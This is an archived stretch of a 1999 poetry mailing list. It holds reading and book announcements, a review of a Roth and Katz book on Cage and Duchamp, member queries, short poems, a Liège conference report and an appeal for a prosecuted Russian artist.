Since Valparaiso (where that poem appears) was published in 1995, Duncan has published three more books, Kicking the Feather, The Wrapped Church, and the new another set / of circumstance from hawkhaven press in San Francisco. Bob Creeley recently commented, somewhat incredulously, that an audience for McNaughton's work was still slow in forming. Residents of or visitors to the Pacific Northwest will soon have a chance to add themselves to that rare group, as Duncan will be reading in Seattle (with Joe Safdie) on Tuesday, March 16 at 2414 N. 45th St.

Open Books
7:00 PM

and three days later in Vancouver, at 8 PM, where he'll be delivering a lecture at Capilano College, previously advertised on this list. ("In this lecture Duncan McNaughton will discuss the relationship between poetry, history, and geography, arguing there is no history without geography, and that poetry as a form is central to contemporary thought. He will read from and speak to the work in his most recent book, another set / of circumstance. (hawkhaven).")

That's in Room 148, Cedar Building, Capilano College, 2055 Purcell Way, North Vancouver

All within possible reach of these events are encouraged to show themselves at the respective doors . . .

↑ Index

85. Lowther,John
REVIEW of "difference/indifference" - Roth & Katz
Thu 4 Mar 1999

[silence] / poetix

are (m)any of you familiar with this book ?
difference/indifference musings on postmodernism, marcel duchamp and john cage introduction and text by Moira Roth, commentary by Jonathan D. Katz

i found it troubling

in the abstract i think these sorts of inquiry are quite valid and ought to be pursued in the service of increasing out knowledge and understanding of artistic (& other sorts of) figures

Roth's piece on Duchamp as "dandy" is interesting and has a certain amount of explanatory force - her paper entitled "The Aesthetic of Indifference" which focuses on Cage, Rauschenberg, Cunningham, Johns and Duchamp as precursor/model the thesis seems to be that "indifference" - toward politics - toward social issues - etc - was a front for having no way to respond to the repressive climate of the 50s/coldwar/McCarthy etc her study also seems to take for granted that an historical explanation is not only called for, or revealing in some ways, but The Explanation she talks about Rauschenberg's White Paintings and speaks of Cage's 'haiku-like response' to them - here is the Cage text she cites (in abbreviated form? it's from Kostelanetz ed. _John Cage_ p.111 - i haven't had the chance to check it out yet);

> To whom
> No subject
> No image
> No taste
> No object
> No beauty
> No message
> No talent
> No technique (no why)
> No idea
> No intention
> No art
> No feeling...

Roth calls this "an unconscious tragic acknowledgement of total paralysis" (p.41) next she says "Cage would object to such an interpretation. He would, I believe, argue that the denial of conventional meaning was in order to allow a different sort of meaning to emerge: that he was interested in the 4'33" piece, for example, in getting the audience to make music/sound rather than merely listen passively. But the negativity and passivity of such works cannot be disassociated from the historical moment at which they were produced." (ibid) the 1st thing that jumps out is the "getting the audience to make music/sound rather than merely listen" - is she saying 'make music' in the sense of 'find the music in the sounds occuring' or is she suggesting people hum or beat on chairs ? ignoring that qualm, how is the music negative and passive if it's also a call for people to act, to attend to sound, as an irreducible thing (& thus a positive) - as to whether things can be disassociated from their historical moment - i'd argue that they can and in fact are daily - whether this is a good thing or just a fact i don't mean to say (as i don't know)

Katz disputes Roth's reading of an "aethetic of indiference" and contrasts his of a "Politics of Negation" and recuperates the same complex of actions attitudes etc as a queer strategy in a straight hegemony - this reading (especially re Johns) i found initially much more interesting - only to be troubled by other things Katz (p.148); " Cage sought, in his words "to just erase the difference between art and life. Through the trope of silence, Cage thought he had found one such eraser. But if we examine closely the validity of this claim, we will find that it didn't quite work out as Cage would have us believe. The efficacy of Cage's silence as an aesthetic trope is in fact entirely dependant on its distinctly artistic context. Outside the concert hall, silence just doesn't sound the same. Given that in art and liofe there are separate signifying environments for silence, it follows then that we have to recognize a distinction between Cage's theory of silence annd the everyday practice of it--art, in short, is different from life. While it is certainly true that Cage advocated an erasure of this distinction, it is equally true that he didn't succeed. As I see it, he couldn't have; no one can. Context seems to be a determinant,and art, even art that claims its identity with life, simply can't will it away."

Katz then moves thru the possibilities that postmodernism offers suggesting that he could 'deconstruct these art/life, theory/praxis binaries, and argue...in favor of the mutual implicativeness of these terms' - he decides against this as he judges that the binaries do important work and because contesting terms that he uses would be 'disingenuous'. next he exercises another route to "mitigate this life/art distiction through refernce to Cage's works themselves" - saying that perhapos Cage's work canot be properly confined to the realm of art - this notion he feels is dashed by "an even glancing acquaintence with Cage studies" which shows that such interests are "what we can agree to call, with suitable embarassment, 'high culture,' a term used precisely for its ability to mark a difference from everyday life" (p.149) "Thus in the face of our objections--themselves inspired in part by Cage's own visions--is it the case that his art does remain ineffably different from life and his theory from his practice? Or at least, in the ordinary world where all of us actually live? And is any attempt to deny this difference at best false consciousness, and at worst a seducton away from the materialist realities of an often inequitable social practice toward the seductive phantasm of an art utopia." (ibid.)

these passages and the whole of this book seems based on a misunderstanding of what silence means for Cage, Katz writes "silence is thematized, made palpable as a silencing." (p.53) - does this make any sense as a description of the one's experinec of 4'33' ? - i think not Katz wants to be able to treat Cage's music and ideas as 'objects suitable for subsequent analysis' (Cage)

instead of registering that they are processes that take place in the 'ordinary world where all of us actually live' - his inability to see that 4'33' is (or could be) still going on - is not bounded by its time markings - is why his otherwise very perceptive analysis sails past its object

someplace i read a paper about Duchamp's Three Standard Stoppages - the author pointed out that three were needed - one wd be an alternate - two an either/or - but three, three was the beginning of multiplicity - Katz, in his feints toward deconstruction (when it serves his argument) illustrates a tendancy toward and then away from One and Two - but like a binary that Cage accepted; object/process, and those Katz seems to feel are 'disingenuous' not to continue using; art/life, theory/practice - i wd like to suggest that our experience is never monadic, rarely dyadic, but resolutely triadic - a fact that allows us to use terms like art and life and have no need to take issue with binaries at all but there are interesting things in the book other than these articles i've had so much trouble with - interviews with Vito Acconci, Robert Smithson, George Segal and Cage as well as a piece by Roth on the art of Shigeko Kubuto that has me interested learn more finally i wonder - on page 48 there is aphotograph of "a serious game of skee-ball in Dillon's Bar" - identified in the caption are Johns, Anna Moreska, Rauschenberg, Cunningham and Cage - but there is another figure - between Moreska and Johns - November 10, 1959 - could that over-exposed forehead mark Frank O'Hara ?

)L

↑ Index

86. komninos zervos

Re: BARDFEST 99 Berks County ~ Reading, Pennsylvania

Thu 4 Mar 1999

Poetry that performs itself: Cyberpoetry at the State Library

Renowned Melbourne-born poet Komninos Zervos has just commenced a unique new project as Cyberpoet in Residence at Experimedia at the State Library.

Komninos is one of Australia's most popular performance poets whose most recent work uses colour, movement, sound and text to create cyberpoetry, an exciting new kind of poetry accessible via the Internet.

The ten week project, cyberpoet@slv, is the first to be supported by Arts Victoria's 'Incubator', an innovative program that encourages artists to explore the creative possibilities of multimedia technology.

'Over the past four years I've been keen to develop a poetry that performs itself. The multimedia Internet provides the perfect vehicle for my text animations. Cyberpoetry moves in time and space¾it can't be published in traditional print media but it's true to the principles of poetry with words evoking images.'

Through cyberpoet@slv Komninos will compile an online database of contemporary Victorian poets and poetry for the State Library of Victoria. He will also create a poetry zine, working with thirty of the poets to present 'cyber' versions of their poems¾sharing his skills with local writers.

Victorian poets are invited to contact Komninos to register their interest and be included in the database. They are also welcome to visit him at the Library to see his work and discuss ideas for producing multimedia poetry.

The cyberpoet Website will be launched publicly at the State Library on 5 March with a performance by Komninos and a special guest appearance by Mark Amerika, well known Hypertext online digital novelist.

Komninos can be contacted by telephone 03 9669 9786, email [redacted] or fax 03 9669 9958.

Examples of cyberpoetry can be found on Komninos's site at http://student.uq.edu.au/~s271502/.

The project Web site is www.experimedia.vic.gov.au/cyberpoet/

Komninos Zervos is available for interview.

For further information please contact:
Indra Kurzeme, Experimedia, State Library of Victoria. Tel: 03 9669 9991

↑ Index

87. Rachel Levitsky
Re: Lewinsky/Lansing/Kyger
Fri 5 Mar 1999

I have to say I was very torn but Monica won. Monica has been an important cultural event for me. Monica has no trouble merging her politics with her poetry. I am not joining my voice to those facile mockers; I seriously support this woman who has been so railroaded by the most powerful people in the country and has not only maintained a level of grace in her beautiful zaftig body, but is willing to speak abortion to america, in this dangerous climate. And the line about Bill Clinton's teary eyes is priceless.

RD Levitsky

Brian Lucas wrote:
>
> Honey from the Rock, or Goo Stew
>
> Thousand-petalled cascades from the Orchards of Sleep
>
> Skeleton-echo preserved in glass, the Dark Grammarian > grey-haired, in black ---a blue oak divined in well-bottom
>
> his Heavenly Tree a Great Form without Shape
>
> Gerrit Lansing last night at the Poetry Project. No one should've missed > it--and many, thankfully, didn't.
>
> A great reed boat dropped him off at the lectern, a flock of seraphim took > him back to Gloucester. The Tree he lives in, for decades--through the > Boston axis--where's he been, where have we been? --grows upward, out from > the groin, partaking of spherical musics, cloud-manna.
>
> Joanne Kyger was next, a welcome blast of Bolinas beachlounging--the > thunder blasting behind her--"I'll wait for Zeus to finish..."--pure > California iceplant farmer, scouting white foams for bodhi leaf. Dark > glasses she wore were actually satellite dishes picking up the quiet > descriptive transmissions that eventually appears in the pomes. Damn fine > clarity. I wanted to go back home with "Miss Kids" for tea--Stinson Beach > huts appearing off to her side--

↑ Index

88. George Bowering

Re: Bibliographic inquiry: Vancouver conference

Fri 5 Mar 1999

> A student of mine needs to learn as much as she can about the 1963 Vancouver poetry conference

There was a copy of the journal _Olson_ that had some stuff from the conference. There was Carol; Berge's scurrilous report published by Fuck You Press.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

89. Poetics List

Two quick announcements / Neufeld

Fri 5 Mar 1999

Had to reformat this a bit. Chris

---------- Original message (ID=EA1A13FE) (35 lines)

From: Pete Neufeld <[redacted]>
Subject: Two quick announcements
Date: Thu, 4 Mar 1999 10:17:01 -0800

On March 13th at 5 pm I will be reading with Sarah Mangold at the ATTIC in San Francisco. 5pm on 24th St. across from the BART.

The second announcement-- _melodeon poetry systems_ will be releasing Jono Schneider's _Walking & Talking_ next week. The chapbook is $6 plus $1.50 for the postal service plus any off chance of a gratuity that will not be tax deductable. You can make checks payable to me and send them to 3573 19th. St. SF CA 94110.

Thanks. Pete

↑ Index

90. Daniel Kane
John Ashbery on WriteNet
Fri 5 Mar 1999

There is an interview with John Ashbery up on Teachers & Writers WriteNet site. In it, Ashbery talks sweetly about the process of composition...you can also download a WAV file (takes about 3 minutes) of Ashbery reading his poem "What is Poetry" (from_Houseboat Days_).

Go to

http://www.writenet.org/poetschat/poetschat_jashbery.html

--daniel

↑ Index

91. Mark Wallace
reading at Bridge Street Books, Sunday March 7 (fwd)
Fri 5 Mar 1999

Those of you who will be in Washington, D.C. are welcome to join us on Sunday, March 7 at 8 p.m. at Bridge Street Books (2814 Pennsylvania Ave. NW, next to The Four Seasons Hotel in Georgetown, near the corner of Pennyslvania and M) for a reading by BOB PERELMAN and MARK WALLACE.

BOB PERELMAN is the author of ten books of poetry, including the recently published _The Future of Memory_. _Virtual Reality_, _Face Value_, and _The First World_. He has also authored two influential critical studies _The Trouble with Genius: Reading Stein, Joyce, Pound, and Zukofsky_ and _The Marginalization of Poetry: Language Writing and Literary History_. A poet of wit, politics, and passion. John Ashbery writes of Perelman: "Most poets define poetry by creating it. Bob Perelman creates it by defining it, and is thus one step ahead of all the poets under the sun, one step closer to colliding with Zeno's vanishing point, to merging coyote with road runner, to winning the hand."

MARK WALLACE is the author of a number of books of poetry, most recently _Nothing Happened and Besides I Wasn't There_ and _Sonnets of a Penny-a-Liner_. His book _Temporary Worker Rides A Subway_ won the 1998 New American Poetry Award and is forthcoming from Sun and Moon. He's going to read some poems but also preview some sections from a novel, _Dead Carnival_, which, with its mindless, loping, zombie-like gait has been following him relentlessly for most of the past decade.

↑ Index

92. Judy Roitman

Re: REVIEW of "difference/indifference" - Roth & Katz

Fri 5 Mar 1999

> To whom
> No subject
> No image
> No taste
> No object
> No beauty
> No message
> No talent
> No technique (no why)
> No idea
> No intention
> No art
> No feeling...>

Sounds like a riff on the heart sutra to me. Anybody know for sure?

But for sure it ain't a haiku-like response.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

93. Pritchett,Patrick

Re: a.l.nielsen's new book

Fri 5 Mar 1999

Aldon Nielsen's VEXT is vexing indeed, as only poetry that rubs you all the right ways can be. The lyric here is taken to the mat. Only to be declared the winner. Enter pathos.

"But this

This particular sweetness

Was not then
To be had."
("Imputation")

Till slapstick makes the most of its numerous cameos.

"We've got a bad code
And we can't seem to shake it."
("Language - Nudity - Violence")

Has Nielsen "gone Hollywood"? VEXT frolics with the rhetoric of the Biz, its absurdities, it self-gloryings. This is the world we live in - not the world, but the words for the world. Everywhere, the framing properties of language come up against their reflection in the mirror. Hello, nice to see you again. Didn't know you were in town. Like Harpo Marx's Lacanian schtick. Rumors of transparency. This Bud's for you.

"The eye always sways across mixing but Accretion comes refusing content" ("Interlalia")

The sweet desultory impenetrable nexus of all our days of words, numbered. So that to speak at all is truly to be vexed. Sound the high note anyhow, then the low.

"By this untelling I have annexed
A space worried from speech."
("Glottophagia")

There's a singular elegance and intelligence and a truly delicious wit at work here. VEXT is a perpetual delight from any point to the next.

(The preceding has been an announcement of itself. No animals were intended during its production).

Patrick Pritchett

↑ Index

94. Lowther,John
query JOSHUA BECKMAN
Fri 5 Mar 1999

---

met this fella some time back can't seem to score an email for him can someone help ?

)L

↑ Index

95. Steven Clay
Jack Spicer's GOLEM
Fri 5 Mar 1999

Granary Books announces the publication of Golem by Jack Spicer with collages by Fran Herndon and an afterword by Kevin Killian.

<bold>

</bold>The manuscript of Spicer's Golem poems was discovered by Fran Herndon and Kevin Killian in 1997 in a "...dog-eared manila folder. The first poem in this series saw print-in the 'Spicer issue' of Manroot-only because Lew Ellingham had copied it onto a brown paper bag after Spicer posted in on the wall of Gino & Carlo's bar. That it had any successors few guessed or knew." The seven images accompanying the six poems are from Herndon's "Sports Collages," her "painterly re-working of pop images cut from the pages of Sports Illustrated and other mass-market magazines...." "Spicer and Herndon draw on [the] complex legend [of the golem] to animate their conception of the athlete- and poet-as hero and monster, corpse and avenger. For these artists, the corruption of innocence under the nexus of capital is as simple as, and as confounding as, a 'fix.'" (All quotes from the afterword.)

Golem is designed and printed letterpress by Philip Gallo at the Hermetic Press. The images are beautifully reproduced, digitally, in full color. The edition consists of 150 copies signed by Fran Herndon and bound at the Campbell Logan Bindery in paper over boards. 5 1/2" x 8 1/2", 20 pp. One hundred copies are for sale. $150.

The poems, images and afterword can be seen at:

http://www.granarybooks.com

↑ Index

96. Don Cheney
Amazon.com
Fri 5 Mar 1999

---

check out the Amazon.com url below and skip down to the CUSTOMER COMMENTS for some insightful thoughts on a collection of FAMILY CIRCUS cartoons called _Daddy's Cap Is On Backwards_.

http://www.amazon.com/exec/obidos/ASIN/0449148165/002-4894952-1321067

don cheney

↑ Index

97. Poetry Project
readings & tiny presses
Fri 5 Mar 1999

THIS WEEK!

AT THE POETRY PROJECT!

Tonight, Friday, March 5
at 10:30 pm
Poets Who Rock with Ed Friedman, Alice B. Talkless & Amy Mayhem, Rebecca Moore, David Greenberg, and Lisa Karrer

Monday, March 8
at 8 pm
Bill Berkson reads solo from his upcoming autobiography "Since When"

Wednesday, March 10
at 8 pm
Sherman Alexie & U Sam Oeur authors, respectively, of Indian Killer and Sacred Vows

AND

New on the Website

The Tiny Press Center is now here!
With essays by Katy Lederer and Renee Gladman
in the "Features" section
http://www.poetryproject.com

There's big, medium, small.
And then there's tiny.

Coming soon: reviews, contact info & mentions (chapbooks, journals, etc.) so send your tiny publications to us at:

The Tiny Press Center
St. Mark's Church
131 E. 10th St.
New York, NY 10003
[redacted]

↑ Index

98. Elizabeth Treadwell
Mlinko info?
Fri 5 Mar 1999

Hi,
does anyone have contact info for Ange Mlinko?
Please b/c, and thanks.
Elizabeth T.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

99. Safdie Joseph
Re: Bibliographic inquiry: Vancouver conference
Fri 5 Mar 1999

And there was Muthologos I, with a transcript of a panel discussion at the conference with Olson, Ginsberg, Duncan and Creeley (I don't think Spicer was on that particular panel, but George was probably in the audience, right?)

> ----------
> From: George Bowering [SMTP:[redacted]]
> Sent: Friday, March 05, 1999 12:25 AM
> To: [redacted]
> Subject: Re: Bibliographic inquiry: Vancouver conference
>
> >A student of mine needs to learn as much as she can about the 1963 Vancouver > >poetry conference
>
> There was a copy of the journal _Olson_ that had some stuff from the conference. There was Carol; Berge's scurrilous report published by Fuck You Press.
>
> George Bowering.
>
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]

↑ Index

100. A. Jenn Sondheim
Jew
Sat 6 Mar 1999

^

Jew

I number.
I number them.
I number myself among them.
I would have been numbered among them.
I might have have numbered them.
I could have been numbered among them.
I was numbered.
I was numbered among them.
I am numbered.
I am numbered among them.
(I count myself among them.)
(I am counted.)
(I am unaccounted for.)
(I am unaccountable.)

↑ Index

101. Peter Minter
Australian Poets in NYC - sublet? readings?
Sat 6 Mar 1999

Dear All,

A friend and I are travelling from Sydney to NYC for the Barnard conference etc.

Does anyone out there know of sublet/accomodation possibilities for the days March 29 through April 15? A very short period of time but any help or advice would be most appreciated.

Any information on other readings or events would be great too.

Please backchannel if you can help,

thanks

Peter Minter

↑ Index

102. Ron Silliman
Bob Rosenthal email address
Sat 6 Mar 1999

Does anyone have an email address (or phone) for Bob Rosenthal?

Thanks,

Ron Silliman

↑ Index

103. Rebecca Wolff
Re: transparent pig
Sat 6 Mar 1999

Thanks for all expositions and explanations re: transparency.

I have come to believe recently, and this discussion reinforces this formulation for me, that all ideology, all, is merely Taste in Disguise.

↑ Index

104. miekal and
YOUR help needed!! - Russian artist under prosecution for his art
Sat 6 Mar 1999

Subject:
RHIZOME_RAW: YOUR help needed!! - Russian artist under prosecution for his art
Date:
Sun, 07 Mar 1999 00:24:10 +0300
From:
alexei shulgin <[redacted]>
To:
[redacted], [redacted], [redacted], [redacted], [redacted]

[apologies for cross-postings!]

Moscow artist Avdei Ter-Oganian is about to go to prison for his performance "Young Anti-Christ" which he made in last December at "Art Manege" Fair in Moscow. During the peformance he was proposing to the fair visitors to profane mass-produced copies of Orthodox icons and was giving instructions how to do it, i. e. crash with an axe (which was supplied), write obscene words and put obscene drawings on them. Few icons were profaned in this way. The action caused negative response from part of the audience which grew in a scandal. His installation was taken off the wall and further performing was prohibited by the Art Fair director. Moreover, the curator of non-commercial part of the Fair has later lost her job. Avdei’s action attracted a lot of responce in media. Most negative (and very fast) one came from a right-wing oriented TV channel "Moscovia" which devoted few (!!!) programs called "Russian House" to convicting of Avdei and calling to requital. They were accusing him of being a Satan’s envoy, offender of national sanctuaries, Orthodox religion, Russian Nation, fathers’ faith and Russia itself. In these programs all participants of the performance as well as artists and curators who share Avdei’s ethical and aesthetical principles were named (virtuos people should know their enemies!). In TV programs and newspaper articles Russian Orthodox priests openly called for punishment for Avdei. After this massive media attack Moscow City Public Prosecution Department has initiated a case ("Kindling of religeous hatred"). Now Avdei is treatened by 2-4 years of prison. Avdei says about his action: "I am continuing ironical thread in art. My action was a parody on modernism. Using banal gestures of agression towards public, culture, etc. I am coming back to the roots of epatage. This was the main idea of my work and as we can see it absolutely doesn’t fit our orthodox space. Analyzing it from the social and political points of view one can talk about protest against coming back ideology (this time - orthodox), one can talk about unjustice: look - people are not getting salaries for their jobs and at the same time enormous money is being spent on reconstruction of aesthetically miserable Temple of Christ the Redemptor (in Moscow). Orthodox icon was not an accidental choice, It was an attempt to find the painful point of the society. Today, when Russian intelligentsia is turning right without any reflection about that I consider my action as very topical. Intelligentsia was bought by clishes. It’s interesting to try to stop it and make thinking." Advocats of Avdei have their points: his action must be evaluated by art critics and by the Church, but not by the state. He did offend religeous feelings of people but the question is: should true christians reply with forgiveness or should they apply to the Public Prosecution Department? Avdei can be convicted very soon. Besides his personal problem this would bring real danger to the freedom of artistic expression in Russia because it creates the case.

You can help now!

1. By writing to Russian Embassy in your country and expressing your attitude to this situation.
2. By acting through media.
3. By writing directly to Moscow City Prosecution Department (Novokuznetskaya Ul. 23A Moscow 113184 Russia) and/or to Khamovniki District Court (7th Rostovsky pereulok 21 Moscow 119121 Russia). Please point "Avdei Ter-Oganian case".
4. By sending emails to [redacted] - they will be forwarded to the above-mentioned institutions.

5. Spreading the word.

If you work for an institution please make your letter as offical as possible. If you would like to contact Avdei - his telephone in Moscow: [redacted]172 (speaks only Russian). You can also contact him via email through me.

You can see one of Avdei's projects at: http://www.cs.msu.su/wwwart/caw

Alexei Shulgin
+

↑ Index

105. Ward Tietz
Sound (new DOC(K)S)
Sat 6 Mar 1999

<fontfamily><param>Times</param><bigger><bigger>Sean Casey's post from a few weeks ago inquiring about poetry and sound reminded me that I wanted to post something on the new DOC(K)S issue on sound. DOC(K)S is a French magazine that's had a long tradition of publishing visual literature, mail art and performance documentation, but in the last couple of years has also been including electronic work on CD-ROMs and CDs along with the magazine.

This new edition on sound includes work from Bernard Heidsieck, Brion Gyson, Paul Dutton and many others on two CDs along with various essays and documentation. There's also a clip from A Sound Education, a piece I did with S. Alburger for New American Radio several years back.

The main address for DOC(K)S for anyone interested is:

DOC(K)S

AKENATON / Philippe Castellin / Jean Torregrosa

12 Cours Grandval

F-20 000 Ajaccio

France

e-mail: [redacted]

The distribution address is:

DIFFUSION Z editions

6 rue du lycee

F-06000 Nice

France

Ward Tietz

</bigger></bigger></fontfamily>

↑ Index

106. sylvester pollet
Kathleen Raine?
Sat 6 Mar 1999

Could someone in Poetics land help this enterprising scholar? You could respond directly to him, though I'd like to know the info too, and perhaps others would. Snowing hard here, Sylvester

> From: [redacted]
> Date: Fri, 5 Mar 1999 02:26:00 EST
> To: [redacted]
> Mime-Version: 1.0
> Subject: Kathleen Raine
>
> Greetings! I have been scouring the Internet all night trying to find a way to contact the poet Kathleen Raine. (In fact, I'm not entirely certain she's still alive!) I am working on a biography of the late poet/scientist Jacob Bronowski, whom she knew in her days at Cambridge University, and would like to get in contact with her. I thought maybe someone at the National Poetry Foundation would know how I could reach her. Any suggestions?
>
> TM:$
>
> ---
> Timothy Sandefur
> 6128 N. Cedar Ave.
> Rialto, CA 92377

↑ Index

107. megan minka lola camille roy
New Langton Arts--- Bay Area Award Show announcement
Sat 6 Mar 1999

Hi everybody, New Langton Arts in San Francisco has a program for supporting Bay Area writers and poets called the Bay Area Award Show. (Awards are also made in other artistic disciplines.) The award consists of a reading with honorarium. Last years' recipients were Laura Moriarty and Aaron Shurin. The deadline for submission is coming up soon---March 26. If you want guidelines, email me (backchannel) with your snail mail address, and I will send you the brochure. (A submission includes a ten page manuscript).

thanks,
camille roy
&&&

Keith and Rosmarie Waldrop were there, giving a reading with Jennifer Moxley and serving as the great eminences gris for the whole affair. There was also a panel on Rosmarie's work with papers by Kornelia Freitag and Ann Simon, and at least one magazine on display that carried an essay on her work (Samizdat #1, edited by yours truly).

If you're wondering who to watch among young Belgian poet-critics (and who isn't) I'd say Michel Delville is your man. At 30, he's done a lot: become junior professor at Liege, helped organize the conference and give it its experimental emphasis, written experimental poetry in English and French (we hope to have some of his work in a future issue of Samizdat) and published a book on the American Prose Poem with University Press of Florida (a damn good book, too, with a long section on Rosmarie Waldrop, and a detailed tracing of the roots of the American prose poem in European literature). In fact, Delville is so smart and talented and conscientious and cool and darkly good looking one is driven into fits of envy. But I digress.

There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while orgasming, while Paul looked distinctly uncomfortable -- makes one wonder about referentiality and the scene of reading in a whole new way.

Joe Amato and Kassia Fleisher gave a simultaneous double-voiced reading on the subject of collaboration, and, as Paul Hoover pointed out, it posed some interesting questions about the politics of listening -- Joe was on one side of the room, Kass on the other, and Paul felt that those of us on Joe's side were encouraged to listen to him, in a sense to root for him, just out of proximity. Some women on our side of the room objected, saying they felt solidarity with Kass, who was speaking in a kind of feminist discourse -- I found myself feeling the urge to listen to Joe precisely because he was a man and Kass was giving a strong feminist line, then I felt guilty about that and made myself listen to Kass. Hmmm...

Afterwards, instead of giving a paper Joe "gave paper" --he handed out a piece of text/image design and encouraged everyone to e-mail him about it later. So the discussion continues.

Other good things, drawn up from an embrassment of riches: Nick Selby of the U of Wales on Gary Snyder, Diederik Oostdijk of Nijmingen on Poetry Magazine's decline, Franca Bellarsi of Brussels on Beat Orientalism, Sharon Kennedy-Nolle of Paris on the politics of the Pound Museum.

The Waldrops read with Jennifer Moxley, but I had to miss this in order to catch a train to Copenhagen. I'd love to hear about it, if anyone else was lucky enough to be there. I also missed a panel on Rosmarie's work and a language poetry panel chaired by Antoinne Caze from the Universite d'Orleans, who is quite brilliant and ought to be published in the States.

An interesting reversal of the usual conference, in which innovative work exists only on the margins. I remember one conference participant, who was giving a very good paper on James Merrill, expressing his frustration -- "Is this the picture of American poetry we want to paint? Is formal work so marginal as to disappear" On the one hand, a completely fair question. On the other hand, I couldn't help feeling a kind of "now the shoe is on the other foot" sentiment.

The book of proceedings will be published in the Spring of 2000 by the University of Liege Press, and will be a bit hard to get in the US. You can send orders in advance to:

L3 Liege Language and Literature
University of Liege English Department
3 Place Cockerill
B-4000 Liege, Belgium

or e-mail [redacted]

There's a web site with a full conference schedule, still up at:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Robert Archambeau
Engelska Institutionen
Lunds Universitet
Sweden

↑ Index

109. Wendy Battin
Call for out-of-print books
Sun 7 Mar 1999

Apologies for cross-posting--

CAPA, the Contemporary American Poetry Archive, is soliciting out-of-print poetry books for posting on the web. We've revised our guidelines and now accept only hard-copy submissions; send one or (if possible) two copies of the book(s) to us at CAPA
Dept. of English
Connecticut College
New London, CT 06320

Contact me first at [redacted] and I'll email you the required release form. If you'd like to see what we've done so far, go to http://capa.conncoll.edu

CAPA is non-denominational and open to all books published by non-vanity North American presses.

==========
Wendy Battin [redacted]

CAPA: http://capa.conncoll.edu

↑ Index

110. Judy Smith McDonough
poetrynow March now on-line
Mon 8 Mar 1999

A brief (non-)commercial message:

poetrynow March on line
http://www.poetrynow.org

Judy Smith McDonough, editor

↑ Index

111. miekal and Re: Joining you, finally
Mon 8 Mar 1999

---

the millenium must truly be here if bruce in online. deconstruct me baby.

miekal

bruc® &ndr®ws wrzeust®:
>
> D®&r List®®s:
> Slzeusw ®m®rg®nc® zeusut zeusf n®&ndr&-t®chnzeus-th&l/thr&ll.
> Fin&lly s®t up with czeusmput®r in zeusffic®, h®r® zeusnc® &
> w®®k tzeus lurk th® Pzeus®tics List dig®st, ®tc.
> ®-m&il &ddr®ss is < &ndr®wsbruc®@n®tsc&p®.n®t >
> ZEUSr, &s ®v®r, r®gul&r m&il &t 41 W®st 96 St., &pt. 10-D, > N®w Yzeusrk, N.Y. 10025 ([redacted]).
>
> H&ppy tzeus b® &bzeus&rd. &ll b®st, Bruc® &ndr®ws
>
> _____
> Mzeusr® th&n just ®m&il--G®t yzeusur FR®® N®tsc&p® W®bM&il
&cczeusunt tzeusd&y &t http://hzeusm®.n®tsc&p®.czeusm/n®tc®nt®r/m&il

↑ Index

112. bruce andrews
Joining you, finally
Mon 8 Mar 1999

Dear Listees:
Slow emergence out of neandra-techno-thal/thrall.
Finally set up with computer in office, here once a week to lurk the Poetics List digest, etc.
E-mail address is < [redacted] >
Or, as ever, regular mail at 41 West 96 St., apt. 10-D,
New York, N.Y. 10025 ([redacted]).

Happy to be aboard. All best, Bruce Andrews

_____ More than just email--Get your FREE Netscape WebMail account today at http://home.netscape.com/netcenter/mail

↑ Index

113. miekal and
EPOS [Yr LifeLoveWork]
Mon 8 Mar 1999

...eXTENDED pOETRY oPERATING sYSTEM...

EPOS is a reflexive sphere within which collisions & entanglements of all LONGPOEM thoughts/works are invited. Dialogue. Networking. Collective creation of a long poem resources website. A medium for the broadcast your long poem in progress. Book trading. Bibliomania. Manifestos. Filibusters. Interwriting. Observations of the Author inside her lifelong writation. Or in the very least, a readerly lens for practical & usable understanding of works such as A, The Martyrology, Maximus Poems, Cantos, Howl & ....

"The serial poem is not simply a sequence. It is meant to be a narrative that transfigures time, our limit, mine. I have wanted to use the form because it makes language direct and insistent without reference to a grid of meaning, which in our time has become intolerable, a-historical, a lie. Delicate and harsh are the words that come to mind to describe the form. Since form is always the reach of content, rhythmical and musical, the serial structure has allowed me to imagine the indeterminate nature of what we are beyond finitude and other small dead ends."

Robin Blaser (from the Long Poem Anthology)

"What is a long poem? perhaps it is simply a long life or some trust in the durational aspect of being alive."
--bpNichol

---
http://www.onelist.com/subscribe/EPOS or email me / [redacted] & I will enlist you

This unmoderated list is facilitated & chiselled into html by Miekal And

↑ Index

114. Maria Damon
Re: Jew
Mon 8 Mar 1999

---

bless yew alan sondheim

At 12:41 AM -0500 3/6/99, A. Jenn Sondheim wrote:
>^
>
>
>Jew
>
>
>I number.
>I number them.
>I number myself among them.
>I would have been numbered among them.
>I might have have numbered them.
>I could have been numbered among them.
>I was numbered.
>I was numbered among them.
>I am numbered.
>I am numbered among them.
>(I count myself among them.)
>(I am counted.)
>(I am unaccounted for.)
>(I am unaccountable.)
>
>
>_____

↑ Index

115. Rachel Loden

Elmslie on TV; Chernoff, Bromige, Nguyen

Mon 8 Mar 1999

> There was a fun double-reading by Maxine Chernoff and Paul Hoover at a jazz club where we all drenched ourselves in Belgian beer. Maxine read dialogue-poems about a 'fictitious' husband of hers and the odd sounds he makes while [censored]

Maxine Chernoff's very funny playlet THE SOUND is available in _Jacket_:

http://jacket.zip.com.au/jacket04/chernoff.html

Great to see that her LEAP YEAR DAY : NEW AND SELECTED POEMS is back in print from Jensen/Daniels (available from SPD).

Another very funny playlet : David Bromige's IS POETRY COMMUNICATION? on the The East Village Poetry Web's Poetries of Canada site (which you should check out anyway for its rich and various fare):

http://www.geocities.com/~theeastvillage/vc.htm

Am reliably informed that Kenward Elmslie's opera LIZZIE BORDEN will be on PBS's Live from Lincoln Center Wednesday, March 24, at 8 p.m.

A poem from Hoa Nguyen's DARK ($7 from 2925 Higgins Street, Austin, TX 78722):

